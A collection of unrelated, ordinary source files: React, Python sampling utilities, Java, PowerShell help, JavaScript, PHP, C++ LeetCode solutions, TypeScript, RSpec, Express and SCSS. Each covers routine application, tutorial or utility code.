dialogNode.getAnimations({ subtree: true }); await Promise.allSettled(animations.map((animation) => animation.finished)); // close the dialog dialogNode.close(); // Run any custom onClose function onClose(); dialogEventClickRef.current = null; dialogEventCancelRef.current = null; // Close and destroy the portal closePortal(); }, [closePortal, params?.onClose]); /** * This callbackRef is supplied to the dialog node in the dom. * Once this becomes available that means that the portal has been opened * and the dialog has rendered in the DOM. From here we run some stuff * that is associated with the dialog opening. */ const dialogRef = useCallback<RefCallback<HTMLDialogElement>>( (dialogNode) => { if (!dialogNode) return; iDialogRef.current = dialogNode; // Reconcile some params const type = params.type ?? "default"; const enableBackdropClose = params.closeOnBackdropClick ?? true; // Add the type to the dialogs className dialogNode.classList.add(type); // Open the dialog switch (type) { case "default": dialogNode.show(); break; case "modal": dialogNode.showModal(); break; default: exhaustiveMatchGuard(type); break; } // Add some event listeners dialogEventCancelRef.current = dialogNode.addEventListener( "cancel", (e) => { // prevent the close event from firing. e.preventDefault(); closeDialog(); } ); // short circuit if (!enableBackdropClose) return; // Close the dialog if the dialog::backdrop is clicked dialogEventClickRef.current = dialogNode.addEventListener( "click", ({ target }) => { const { nodeName } = target as HTMLDialogElement; if (nodeName === "DIALOG") { closeDialog(); } } ); }, [closeDialog, params.closeOnBackdropClick, params.type] ); /** * Override the ref and add 2 functions to open and close * the dialog */ useImperativeHandle(params.ref, () => { return { handleOpen(_, initState = {} as T) { setDialogState(initState); openPortal(); }, handleClose: closeDialog, nodeRef: iDialogRef, }; }); return useMemo( () => ({ dialogRef, dialogState, Portal, closeDialog, }), [Portal, closeDialog, dialogRef, dialogState] ); };
import numpy as np from sympy.combinatorics.graycode import GrayCode, bin_to_gray, gray_to_bin import torch from torch import nn from torch.nn import functional as F import matplotlib.pyplot as plt # ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe # def get_binmap(discrete_dim): # b = discrete_dim // 2 - 1 # all_bins = [] # for i in range(1 << b): # print(i/2**b) # bx = np.binary_repr(i, width=discrete_dim // 2 - 1) # all_bins.append('0' + bx) # all_bins.append('1' + bx) # vals = all_bins[:] # print('remapping binary repr with gray code') # a = GrayCode(b) # vals = [] # for x in a.generate_gray(): # vals.append('0' + x) # vals.append('1' + x) # bm = {} # inv_bm = {} # for i, key in enumerate(all_bins): # bm[key] = vals[i] # inv_bm[vals[i]] = key # return bm, inv_bm # ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe # def compress(x, discrete_dim): # bx = np.binary_repr(int(abs(x)), width=discrete_dim // 2 - 1) # bx = '0' + bx if x >= 0 else '1' + bx # return bx # ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe # def float2bin(samples, bm, discrete_dim, int_scale): # bin_list = [] # for i in range(samples.shape[0]): # x, y = samples[i] * int_scale # bx, by = compress(x, discrete_dim), compress(y, discrete_dim) # bx, by = bm[bx], bm[by] # bin_list.append(np.array(list(bx + by), dtype=int)) # return np.array(bin_list) ### Do not generate a map from binary code to gray code, which is time comsuming if data is high dimensional. Instead, we convert binary code to gray code on the fly. def compress_new(x, discrete_dim): bx = np.binary_repr(int(abs(x)), width=discrete_dim // 2 - 1) return bx def float2bin_new(samples, discrete_dim, int_scale): bin_list = [] for i in range(samples.shape[0]): x, y = samples[i] * int_scale bx, by = compress_new(x, discrete_dim), compress_new(y, discrete_dim) bx, by = bin_to_gray(bx), bin_to_gray(by) bx = '0' + bx if x >= 0 else '1' + bx by = '0' + by if y >= 0 else '1' + by bin_list.append(np.array(list(bx + by), dtype=int)) return np.array(bin_list) def bin2float_new(samples, discrete_dim, int_scale): floats = [] for i in range(samples.shape[0]): s = '' for j in range(samples.shape[1]): s += str(int(samples[i, j])) gx, gy = s[1:discrete_dim//2], s[discrete_dim//2+1:] x, y = int(gray_to_bin(gx), 2), int(gray_to_bin(gy), 2) x = x if s[0] == "0" else -x y = y if s[discrete_dim//2] == "0" else -y x /= int_scale y /= int_scale floats.append((x, y)) return np.array(floats) ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe # def plot_heat(model, bm, device, discrete_dim, int_scale, out_file=None): def plot_heat(model, device, discrete_dim, int_scale, out_file=None): plt.figure(figsize=(4.1,4.1)) w = 100 size = 4.1 x = np.linspace(-size, size, w) y = np.linspace(-size, size, w) xx, yy = np.meshgrid(x, y) xx = np.reshape(xx, [-1, 1]) yy = np.reshape(yy, [-1, 1]) heat_samples = float2bin_new(np.concatenate((xx, yy), axis=-1), discrete_dim, int_scale) heat_samples = torch.from_numpy(heat_samples).to(device).float() heat_score = F.softmax(-1 * model(heat_samples).view(1, -1), dim=-1) a = heat_score.view(w, w).data.cpu().numpy() a = np.flip(a, axis=0) plt.imshow(a) plt.axis('equal') plt.axis('off') if out_file is None: out_file = os.path.join(cmd_args.save_dir, 'heat.png') plt.savefig(out_file, bbox_inches='tight') plt.close() ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe def plot_samples(samples, out_file, lim=4.1, axis=True): plt.figure(figsize=(4.1,4.1)) plt.scatter(samples[:, 0], samples[:, 1], marker='.') plt.axis('equal') if lim is not None: plt.xlim(-lim, lim) plt.ylim(-lim, lim) if not axis: plt.axis('off') plt.xticks([]) plt.yticks([]) plt.savefig(out_file, bbox_inches='tight') plt.close() ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe def gibbs_step(orig_samples, axis, n_choices, model): orig_samples = orig_samples.clone() with torch.no_grad(): cur_samples = orig_samples.clone().repeat(n_choices, 1) b = torch.LongTensor(list(range(n_choices))).to(cur_samples.device).view(-1, 1) b = b.repeat(1, orig_samples.shape[0]).view(-1) cur_samples[:, axis] = b score = model(cur_samples).view(n_choices, -1).transpose(0, 1) prob = F.softmax(-1 * score, dim=-1) samples = torch.multinomial(prob, 1) orig_samples[:, axis] = samples.view(-1) return orig_samples ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe class GibbsSampler(nn.Module): def __init__(self, n_choices, discrete_dim, device): super(GibbsSampler, self).__init__() self.n_choices = n_choices self.discrete_dim = discrete_dim self.device = device def forward(self, model, num_rounds, num_samples=None, init_samples=None): assert num_samples is not None or init_samples is not None if init_samples is None: init_samples = torch.randint(self.n_choices, (num_samples, self.discrete_dim)).to(self.device) with torch.no_grad(): cur_samples = init_samples.clone() for r in range(num_rounds): for i in range(self.discrete_dim): cur_samples = gibbs_step(cur_samples, i, self.n_choices, model) return cur_samples ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe def hamming_mmd(x, y): x = x.float() y = y.float() with torch.no_grad(): kxx = torch.mm(x, x.transpose(0, 1)) idx = torch.arange(0, x.shape[0], out=torch.LongTensor()) kxx = kxx * (1 - torch.eye(x.shape[0]).to(x.device)) kxx = torch.sum(kxx) / x.shape[0] / (x.shape[0] - 1) kyy = torch.mm(y, y.transpose(0, 1)) idx = torch.arange(0, y.shape[0], out=torch.LongTensor()) kyy[idx, idx] = 0.0 kyy = torch.sum(kyy) / y.shape[0] / (y.shape[0] - 1) kxy = torch.sum(torch.mm(y, x.transpose(0, 1))) / x.shape[0] / y.shape[0] mmd = kxx + kyy - 2 * kxy return mmd ### Code adapted https://github.com/google-research/google-research/tree/master/aloe/aloe def estimate_hamming_old(model, true_samples, rand_samples, gibbs_sampler, num_rounds_gibbs): with torch.no_grad(): gibbs_samples = gibbs_sampler(model, num_rounds_gibbs, init_samples=rand_samples) return hamming_mmd(true_samples, gibbs_samples), gibbs_samples def hamming_mmd_new(x, y): x = x.float() y = y.float() with torch.no_grad(): kxx = x.shape[-1]-(x[:, None, :] != x).sum(2) ### Each element corresponds to #Dimension-HammingDistance idx = torch.arange(0, x.shape[0], out=torch.LongTensor()) kxx = kxx * (1 - torch.eye(x.shape[0]).to(x.device)).float() kxx = torch.sum(kxx) / x.shape[0] / (x.shape[0] - 1) kyy = y.shape[-1]-(y[:, None, :] != y).sum(2) idx = torch.arange(0, y.shape[0], out=torch.LongTensor()) kyy[idx, idx] = 0.0 kyy = kyy.float() kyy = torch.sum(kyy) / y.shape[0] / (y.shape[0] - 1) kxy = x.shape[-1]-(y[:, None, :] != x).sum(2).float() kxy = torch.sum(kxy) / x.shape[0] / y.shape[0] mmd = kxx + kyy - 2 * kxy return mmd def estimate_hamming_new(model, true_samples, rand_samples, gibbs_sampler, num_rounds_gibbs): with torch.no_grad(): gibbs_samples = gibbs_sampler(model, num_rounds_gibbs, init_samples=rand_samples) return hamming_mmd_new(true_samples, gibbs_samples), gibbs_samples
package dev.otthon.sistemaweb.web.clients.dtos; import dev.otthon.sistemaweb.core.validators.ClientEmailUnique; import jakarta.validation.constraints.*; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; @Data @Builder @NoArgsConstructor @AllArgsConstructor public class ClientForm { @NotBlank @Size(min = 3, max = 100) private String name; @Email @NotBlank @Size(max = 255) @ClientEmailUnique private String email; @NotEmpty @Size(min = 15, max = 15) @Pattern(regexp = "\\(\\d{2}\\) \\d{5}-\\d{4}$", message = "Deve está no formato (00) 1234-5678") private String phone; }
NAME Start-PSUServer SYNOPSIS Starts the PowerShell Universal server. SYNTAX Start-PSUServer [[-ExecutablePath] <String>] [[-ListenAddress] <String>] [-Configuration <ScriptBlock>] [-Port <Int32>] [<CommonParameters>] DESCRIPTION Starts the PowerShell Universal server. This cmdlet performs discovery and configuration of the Universal.Server executable. It uses Start-Process to start up the server after the configuration has been completed. This cmdlet requires that it can find the Universal.Server executable. You can use Install-PSUServer to download the proper binaries for your system. PARAMETERS -ExecutablePath <String> The path to the Universal.Server executable. This defaults to $Env:ProgramData\Universal.Server. If not found in this location, Start-PSUServer will also search the $ENV:PATH Required? false Position? 0 Default value None Accept pipeline input? False Accept wildcard characters? false -ListenAddress <String> The address to listen on. For example: http://*:4000 Required? false Position? 1 Default value None Accept pipeline input? False Accept wildcard characters? false -Configuration <ScriptBlock> A configuration script block. This enables single-file configuration. Required? false Position? named Default value None Accept pipeline input? False Accept wildcard characters? false -Port <Int32> A port to listen on. Required? false Position? named Default value None Accept pipeline input? False Accept wildcard characters? false <CommonParameters> This cmdlet supports the common parameters: Verbose, Debug, ErrorAction, ErrorVariable, WarningAction, WarningVariable, OutBuffer, PipelineVariable, and OutVariable. For more information, see about_CommonParameters (https://go.microsoft.com/fwlink/?LinkID=113216). INPUTS None OUTPUTS System.Object NOTES -------------------------- Example 1 -------------------------- PS C:\> Start-PSUServer -Port 8080 Starts a PowerShell Universal server on port 8080 -------------------------- Example 2 -------------------------- PS C:\> Start-PSUServer -Port 8080 -Configuration { New-PSUEndpoint -Url '/test' -Method 'GET' -Endpoint { "Hi" } } Starts a PowerShell Universal server on port 8080 and uses single-file configuration to setup a new endpoint listening on '/test' -------------------------- Example 3 -------------------------- PS C:\> $Env:Data__RepositoryPath = "C:\repo" PS C:\> Start-PSUServer -Port 8080 Sets an alternative repository path and starts the PowerShell Universal server. RELATED LINKS Install-PSUServer
/** * Keeps track of all status updates received, disregarding * any status updates that do not pertain to the committee * being currently viewed. The socket listens for all updates, * and then calls the corresponding method based on what the * update is labeled as * * @summary Keeps track of all status updates received * * @author Nathan Pease */ const socket = io(); const topBarText = document.getElementById('top-bar-text'); const name = document.getElementById('name'); /** * Set the name display on the status page */ function setName() { topBarText.textContent = `Status | ${committee.name}`; name.innerHTML = `<b>Name:</b> ${committee.name}`; } const sessionModerator = document.getElementById('session-moderator'); /** * Set the current session moderator (based on whether or not there is one) */ function setCurrentSessionModerator() { if (!committee.sessionModerator) { sessionModerator.innerHTML = `<b>Session Moderator:</b>`; } else { const split = committee.sessionModerator.split('.'); sessionModerator.innerHTML = `<b>Session Moderator:</b> ${split[0]} ${split[1]}`; } } const agenda = document.getElementById('agenda'); /** * Set agenda text */ function setAgenda() { agenda.innerHTML = `<b>Agenda:</b> ${committee.agenda}`; } const countries = document.getElementById('countries'); /** * Set all countries based on their attendance status */ function setCountries() { countries.innerHTML = ''; for (const country of committee.countries) { instantiate('country', countries, { image: { src: `/global/flags/${country.flagCode.toLowerCase()}.png`}, attendance: { class: `status-attendance-${country.attendance}` }, }, { name: { textContent: country.title }, }); } } const currentAction = document.getElementById('current-action'); const time = document.getElementById('time'); const timer = new Timer(0, time, undefined, undefined, false); /** * Set the current action and update any timers (if needed) */ function setCurrentAction() { const action = committee.currentAction; currentAction.innerHTML = `<b>Current Action:</b> ${action.type.toUpperCase()}`; // If the current action involves a timer, show the timer if (action.type === 'gsl' || action.type === 'unmod' || action.type === 'mod') { time.style.display = ''; // Set the total time on the timer to the action's total time timer.time = action.totalTime; // Set the current time on the timer to the action's current time // (for example, an action of type mod where the total time is // 60 seconds, but the current time is 55 seconds since they // paused/unpaused it at that time) timer.currentTime = action.currentTime; // If the timer is active, account for the time difference between // when the action was taken and the current time, subtract it // from the current time, and then play the timer if (action.active) { const timeDifference = (Date.now() - action.actionTime) / 1000; timer.currentTime -= timeDifference; timer.play(); // Otherwise pause the timer } else { timer.pause(); time.textContent = `${Timer.formatTime(timer.currentTime, 2, 2)} / ${Timer.formatTime(timer.time, 2, 2)}`; } // Otherwise hide the timer } else { time.style.display = 'none'; // If out of session, reset session moderator if (action.type === 'Out of Session') { committee.sessionModerator = ''; setCurrentSessionModerator(); } } } // When a session update is received, update // the appropriate label socket.on('sessionUpdate', (msg) => { if (msg.id != committee.id) { return; } if (msg.updateType === 'action') { committee.currentAction = msg; setCurrentAction(); } else if (msg.updateType === 'agenda') { committee.agenda = msg.agenda; setAgenda(); } else if (msg.updateType === 'attendance') { committee.countries = msg.countries; setCountries(); } else if (msg.updateType === 'name') { committee.name = msg.name; setName(); } else if (msg.updateType === 'moderating') { committee.sessionModerator = msg.sessionModerator; setCurrentSessionModerator(); } }); setName(); setAgenda(); setCountries(); setCurrentAction(); setCurrentSessionModerator();
<?php namespace App\Imports; use App\Models\FileJalanContent; use Illuminate\Support\Collection; use Maatwebsite\Excel\Concerns\SkipsErrors; use Maatwebsite\Excel\Concerns\SkipsFailures; use Maatwebsite\Excel\Concerns\SkipsOnError; use Maatwebsite\Excel\Concerns\SkipsOnFailure; use Maatwebsite\Excel\Concerns\ToCollection; class FileJalanImport implements ToCollection, SkipsOnError, SkipsOnFailure { use SkipsErrors, SkipsFailures; public $file_jalan_id; public function __construct($file_id){ $this->file_jalan_id = $file_id; } public function collection(Collection $rows) { $iter = 0; foreach($rows as $row){ if($iter > 0){ FileJalanContent::create([ // 'no_ruas' => $row[0], 'nama_ruas' => $row[1], 'kecamatan' => $row[2], 'panjang' => $row[3], 'lebar' => $row[4], 'bahan_aspal' => $row[5], 'bahan_lapen' => $row[6], 'bahan_rabat' => $row[7], 'bahan_telford' => $row[8], 'bahan_tanah' => $row[9], 'kondisi_baik' => $row[10], 'kondisi_sedang' => $row[11], 'kondisi_rusakringan' => $row[12], 'kondisi_rusakberat' => $row[13], 'file_jalan_id' => $this->file_jalan_id, 'status' => 'uploaded' ]); } $iter++; } } public function onError(\Throwable $e) { // Handle the exception how you'd like. } }
# [54. Spiral Matrix](https://leetcode.com/problems/spiral-matrix/) ### Solution - We traverse all 4 directions one by one. - we traverse in first direction until we reach the boundary, and then we move to the next direction. - Do this process for all 4 directions, and decrease the boundary by 1 ### Code ```cpp class Solution { public: vector<int> spiralOrder(vector<vector<int>>& matrix) { int n = matrix.size(); int m = matrix[0].size(); vector<int> ans; int cnt = n * m; int i = 0, j = 0; int vertEnd = 0, horEnd = 0; while (cnt) { while (j < m && cnt) { ans.push_back(matrix[i][j]); cnt--; j++; } j--; i++; while (i < n && cnt) { ans.push_back(matrix[i][j]); cnt--; i++; } i--; j--; while (j >= horEnd && cnt) { ans.push_back(matrix[i][j]); cnt--; j--; } horEnd++; j++; i--; vertEnd++; while (i >= vertEnd && cnt) { ans.push_back(matrix[i][j]); cnt--; i--; } i++; j++; n--; m--; } return ans; } }; ``` ### Code - 2 ```cpp class Solution { public: vector<int> spiralOrder(vector<vector<int>>& matrix) { int n = matrix.size(); int m = matrix[0].size(); int left = 0, right = m - 1, bottom = n - 1, top = 0; int direction = 1; vector<int> v; while (left <= right && top <= bottom) { if (direction == 1) { for (int i = left; i <= right; i++) v.push_back(matrix[top][i]); direction = 2; top++; } else if (direction == 2) { for (int i = top; i <= bottom; i++) v.push_back(matrix[i][right]); direction = 3; right--; } else if (direction == 3) { for (int i = right; i >= left; i--) v.push_back(matrix[bottom][i]); direction = 4; bottom--; } else if (direction == 4) { for (int i = bottom; i >= top; i--) v.push_back(matrix[i][left]); direction = 1; left++; } } return v; } }; ``` ### Code - 3 ```cpp vector<int> spiralOrder(vector<vector<int>>& matrix) { vector<vector<int>> dirs { { 0, 1 }, { 1, 0 }, { 0, -1 }, { -1, 0 } }; vector<int> res; int nr = matrix.size(); if (nr == 0) return res; int nc = matrix[0].size(); if (nc == 0) return res; vector<int> nSteps { nc, nr - 1 }; int iDir = 0; // index of direction. int ir = 0, ic = -1; // initial position while (nSteps[iDir % 2]) { for (int i = 0; i < nSteps[iDir % 2]; ++i) { ir += dirs[iDir][0]; ic += dirs[iDir][1]; res.push_back(matrix[ir][ic]); } nSteps[iDir % 2]--; iDir = (iDir + 1) % 4; } return res; } ```
import { z } from "zod" import { RoleNameSchema } from "@energizeai/engine" export enum Paths { Spaces = "/spaces", Suggestions = "/spaces/:id/suggestions", SpaceWaitlist = "/spaces/:id/waitlist", Export = "/spaces/:id/export", Members = "/spaces/:id/members", ProlificMembers = "/spaces/:id/prolific-members", ProlificIntegrations = "/spaces/:id/prolific-integrations", ChatMessages = "/spaces/:id/chat-messages", Taxonomy = "/spaces/:id/taxonomy", RatingTags = "/spaces/:id/rating-tags", ApiKeys = "/spaces/:id/api-keys", PromptPool = "/spaces/:id/prompt-pool", Guidelines = "/spaces/:id/guidelines", Dashboard = "/spaces/:id/dashboard", ShortenedUrl = "/s/:shortened_url", Playground = "/spaces/:id", Feedback = "/feedback", Prolific = "/prolific/:space_id", Profile = "/account/profile", Demographics = "/account/demographics", MyGuidelines = "/spaces/:id/my-guidelines", MyRatings = "/spaces/:id/my-ratings", Blogs = "/blogs/:id", Waitlist = "/waitlist", Home = "/", LiveConstitution = "/live", LiveDemographics = "/demographics", Algo = "/algo", NotFound = "/404", Instructions = "/spaces/:id/instructions", } export type RoutePermissions = { needsAuth: boolean allowedRoles: z.infer<typeof RoleNameSchema>[] } export const PERMISSIONS_MAP: Record<Paths, RoutePermissions> = { [Paths.Home]: { needsAuth: false, allowedRoles: [], }, [Paths.Prolific]: { needsAuth: false, allowedRoles: [], }, [Paths.LiveDemographics]: { needsAuth: false, allowedRoles: [], }, [Paths.LiveConstitution]: { needsAuth: false, allowedRoles: [], }, [Paths.Algo]: { needsAuth: false, allowedRoles: [], }, [Paths.ShortenedUrl]: { needsAuth: false, allowedRoles: [], }, [Paths.MyRatings]: { needsAuth: true, allowedRoles: [], }, [Paths.MyGuidelines]: { needsAuth: true, allowedRoles: [], }, [Paths.Demographics]: { needsAuth: true, allowedRoles: [], }, [Paths.Profile]: { needsAuth: true, allowedRoles: [], }, [Paths.Waitlist]: { needsAuth: false, allowedRoles: [], }, [Paths.Blogs]: { needsAuth: false, allowedRoles: [], }, [Paths.NotFound]: { needsAuth: false, allowedRoles: [], }, [Paths.Suggestions]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Spaces]: { needsAuth: true, allowedRoles: [], }, [Paths.SpaceWaitlist]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Guidelines]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.PromptPool]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Export]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.ProlificIntegrations]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.ProlificMembers]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Members]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.RatingTags]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.ApiKeys]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Taxonomy]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.ChatMessages]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Dashboard]: { needsAuth: true, allowedRoles: ["admin"], }, [Paths.Instructions]: { needsAuth: true, allowedRoles: ["admin", "moderator", "member"], }, [Paths.Playground]: { needsAuth: true, allowedRoles: ["admin", "moderator", "member"], }, [Paths.Feedback]: { needsAuth: true, allowedRoles: [], }, } export const PublicRoutes = Object.keys(PERMISSIONS_MAP).filter((key) => !PERMISSIONS_MAP[key as Paths].needsAuth) export const SEARCH_PARAM_KEYS = { [Paths.Playground]: { guidelineId: "guidelineId", topicId: "topicId", openConstitution: "openConstitution", }, }
require "rails_helper" describe User do context "validations" do let(:user) { User.new } before do user.valid? end it "validates username presence" do expect(user.errors[:username]).to be_present end it "validates username uniqueness" do create_user(:username => "psylinse") user.username = "psylinse" user.valid? expect(user.errors[:username]).to be_present end it "validates password presence" do expect(user.errors[:password]).to be_present end it "validates password length" do user.password = "1234567" user.valid? expect(user.errors[:password]).to be_present user.password = "12345678" user.valid? expect(user.errors[:password]).to be_empty end it "validates type_of_ranter presence" do expect(user.errors[:type_of_ranter]).to be_present end it "validates bio presence" do expect(user.errors[:bio]).to be_present end it "validates first_name presence" do expect(user.errors[:first_name]).to be_present end it "validates last_name presence" do expect(user.errors[:last_name]).to be_present end end end
const express = require('express') const app = express() const helmet = require('helmet') // Helmet helps secure Express apps by setting HTTP response headers. // By default, Helmet sets the following headers: // Content-Security-Policy: A powerful allow-list of what can happen on your page which mitigates many attacks // Cross-Origin-Opener-Policy: Helps process-isolate your page // Cross-Origin-Resource-Policy: Blocks others from loading your resources cross-origin // Origin-Agent-Cluster: Changes process isolation to be origin-based // Referrer-Policy: Controls the Referer header // Strict-Transport-Security: Tells browsers to prefer HTTPS // X-Content-Type-Options: Avoids MIME sniffing // X-DNS-Prefetch-Control: Controls DNS prefetching // X-Download-Options: Forces downloads to be saved (Internet Explorer only) // X-Frame-Options: Legacy header that mitigates clickjacking attacks // X-Permitted-Cross-Domain-Policies: Controls cross-domain behavior for Adobe products, like Acrobat // X-Powered-By: Info about the web server. Removed because it could be used in simple attacks // X-XSS-Protection: Legacy header that tries to mitigate XSS attacks, but makes things worse, so Helmet disables it // app.use(helmet()) app.get('/home',(req,res) => { res.send('Home Page') }) app.listen(3000,() => { console.log('server runing') })
import React, { Component } from "react"; import { getDocumentAllPayAmin } from "../../redux/actions/documentAction"; import ContentHeader from "../common/ContentHeader"; import withRouter from "../../helpers/withRouter"; import { getCollectiontAdmin } from "../../redux/actions/transactionAction"; import { connect } from "react-redux"; import { Select, Button, message, Skeleton, Table, Space } from "antd"; import Column from "antd/lib/table/Column"; class Home extends Component { constructor() { super(); this.state = { documents: {}, // Object to store selected dates for each account }; } componentDidMount() { this.props.getDocumentAllPayAmin(); const storedUserSession = sessionStorage.getItem("userSession"); const UserSesion = storedUserSession ? JSON.parse(storedUserSession) : null; this.props.getCollectiontAdmin(); } formatCurrency = (amount) => { return new Intl.NumberFormat("vi-VN", { style: "currency", currency: "VND", }).format(amount); }; render() { const { navigate } = this.props.router; const { documents, isLoading, transactions } = this.props; if (isLoading) { return ( <> <ContentHeader navigate={navigate} title="Doanh thu" className="site-page-header" /> <Skeleton active /> </> ); } return ( <> <ContentHeader navigate={navigate} title="Doanh thu" className="site-page-header" /> <h1>Thống kế hàng ngày</h1> <Table dataSource={documents} size="small" rowKey="mataikhoan"> <Column title="Thời gian" key="thangnam" dataIndex="thangnam" width={80} align="center" /> <Column title="Thu nhập tác giả" key="thunhaptacgia" dataIndex="thunhaptacgia" width={80} align="center" render={(text) => ( <div> <span style={{ color: "green" }}> + {this.formatCurrency(text)} </span> </div> )} /> <Column title="Thu nhập phí quản trị" key="thunhapquantri" dataIndex="thunhapquantri" width={80} align="center" render={(text) => ( <div> <span style={{ color: "green" }}> + {this.formatCurrency(text)} </span> </div> )} /> </Table> <h1>Doanh thu tài liệu</h1> <Table dataSource={transactions} size="small" rowKey="matailieu"> <Column title="Tên tài liệu" key="tentailieu" dataIndex="tentailieu" width={80} align="center" /> <Column title="Giá bán" key="giaban" dataIndex="giaban" width={80} align="center" render={(text) => ( <div> <span style={{ color: "green" }}> + {this.formatCurrency(text)} </span> </div> )} /> <Column title="Số lần thanh toán" key="solanthanhtoan" dataIndex="solanthanhtoan" width={80} align="center" /> <Column title="Tổng thu nhập tác giả" key="tongthunhaptacgia" dataIndex="tongthunhaptacgia" width={80} align="center" render={(text) => ( <div> <span style={{ color: "green" }}> + {this.formatCurrency(text)} </span> </div> )} /> <Column title="Tổng số phí quản trị" key="tongthunhaptacgia" dataIndex="tongphiquantri" width={80} align="center" render={(text) => ( <div> <span style={{ color: "green" }}> + {this.formatCurrency(text)} </span> </div> )} /> </Table> </> ); } } const mapStateToProps = (state) => ({ documents: state.documentReducer.documents, transactions: state.transactionReducer.transactions, isLoading: state.commonReducer.isLoading, }); const mapDispatchToProps = { getDocumentAllPayAmin, getCollectiontAdmin, }; export default withRouter(connect(mapStateToProps, mapDispatchToProps)(Home));
// boş map oluşturma // const map = new Map(); // console.log(map) // -------------------- // bir diziden map oluşturma // countries = [ // ['Finland', 'Helsinki'], // ['Sweden', 'Stockholm'], // ['Norway', 'Oslo'], // ] // const map = new Map(countries) // console.log(map) // console.log(map.size) // -------------------- // Map'e değer ekleme // const countriesMap = new Map() // console.log(countriesMap.size) // countriesMap.set('Finland', 'Helsinki') // .set ile ekliyoruz // countriesMap.set('Sweden', 'Stockholm') // countriesMap.set('Norway', 'Oslo') // console.log(countriesMap) // console.log(countriesMap.size) // ------------------------- // map'ten değer alma // const countriesMap = new Map() // countriesMap.set('Finland', 'Helsinki') // .set ile ekliyoruz // countriesMap.set('Sweden', 'Stockholm') // countriesMap.set('Norway', 'Oslo') // console.log(countriesMap) // console.log(countriesMap.get('Finland')) // ------------------------- // map içindeki bütük değerleri döngü kullanarak almak const countriesMap = new Map() countriesMap.set('Finland', 'Helsinki') countriesMap.set('Sweden', 'Stockholm') countriesMap.set('Norway', 'Oslo') for (const country of countriesMap) { console.log(country) } for (const [country, city] of countriesMap){ console.log(country, city) }
import request from '@/utils/request' // interface IPaging { // total: number // pageSize: number // current: number // } // interface IErrorResult { // err: boolean // errmsg: string // code: number // } // interface IPagiResult<T> { // data: T[], // pagi: IPaging // } // interface IService<T> { // show: (id: string) => Promise<T | IErrorResult> // index: (params: Partial<T> & { current?: number, pageSize?: number }) => Promise<IPagiResult<T> | IErrorResult> // create: (params: Partial<T>, id?: string) => Promise<T | any | IErrorResult> // update: (params: Partial<T>, id: string) => Promise<T | any | IErrorResult> // destory: (id: string) => Promise<any | IErrorResult> // } export class Service { api: string constructor(api: string) { this.api = api; } async show(id: string) { return await request(`${this.api}/${id}`); } async index(params: any & { current?: number, pageSize?: number }) { return await request(this.api, { params }); } async create(params: any, id?: string) { return await request(this.api, { data: params, method: 'post' }); } async update(params: any, id: string) { return await request(`${this.api}/${id}`, { data: params, method: 'put' }); } async destory(id: string) { return await request(`${this.api}/${id}`, { method: 'delete' }); } }
body { margin: 1.5em; font-family: "Poppins", sans-serif; } a { text-decoration: none; font-size: 1.3rem; } .hero-image { position: absolute; background: url(../images/shoe.jpg); width: 100%; height: 100vh; top: 0; left: 0; background-size: cover; background-position-x: 20%; background-position-y: 20%; z-index: -1; animation: introLoad 2s forwards; } header { display: flex; justify-content: space-between; .logo { color: white; font-weight: bold; span { color: black; } } nav { position: fixed; top: 0; right: 0; height: 100vh; width: 50%; background-color: white; z-index: 999; text-transform: uppercase; transform: translateX(100%); transition: transform ease-in-out 0.8s; ul { list-style-type: none; padding: 0; margin-top: 8em; a { color: black; padding: 0.75em 2em; display: block; &:hover { background-color: grey; } } } .close { float: right; margin: 2em; width: 2.5em; } } svg { width: 3rem; margin-top: -0.6em; cursor: pointer; } } .open-nav { transform: translateX(0); } .hero { height: 90vh; color: white; opacity: 0; animation: moveDown 1s ease-in-out forwards; h1 { margin-top: 2em; font-size: 3em; line-height: 1.2em; } .subhead { font-size: 1.4rem; line-height: 1.3em; } svg { position: absolute; bottom: 4em; width: 1em; stroke: white; animation: float 1s alternate-reverse infinite; path { fill: white; } } } .more-info { text-align: center; } .feature { .title { color: black; font-weight: bold; font-size: 1.5em; } .desc { color: black; font-size: 1rem; line-height: 1.5rem; } img { width: 100%; object-fit: cover; height: 13em; } } @media only screen and (min-width: 680px) { body { margin: 1.5em 5em; font-family: "Poppins", sans-serif; } } @media only screen and (min-width: 920px) { .open { display: none; } header { .logo { color: black; span { color: red; } } nav { transform: translateX(0%); position: unset; display: block; width: auto; height: auto; background: none; } .close { display: none; } ul { display: flex; margin: 0 !important; a { color: white !important; font-size: 0.9rem; padding: 0.5em 1.5em !important; &:hover { background: none !important; text-decoration: underline; } } } } .hero-image { left: unset; right: 0; width: 50%; height: 42em; } .hero { color: black !important; height: auto; width: 40%; margin-bottom: 8em; svg { stroke: black; position: unset; path { fill: black; } } } .feature { display: grid; grid-template-columns: repeat(2, auto); gap: 3em; margin-bottom: 8em; img { width: 25em; } .content { text-align: right; width: 25em; } } .feature.left { grid-template-areas: "left right"; img { grid-area: left; } .content { text-align: left; width: 25em; justify-self: left; } } } @media only screen and (min-width: 1200px) { .wrapper { width: 1200px; margin: 0 auto; } } @keyframes introLoad { from { clip-path: polygon(0 0, 100% 0, 100% 0, 0 0); } to { clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%); } } @keyframes float { from { transform: translateY(-25px); } to { transform: translateY(0); } } @keyframes moveDown { from { transform: translateY(-100px); } to { transform: translateY(0); opacity: 1; } }
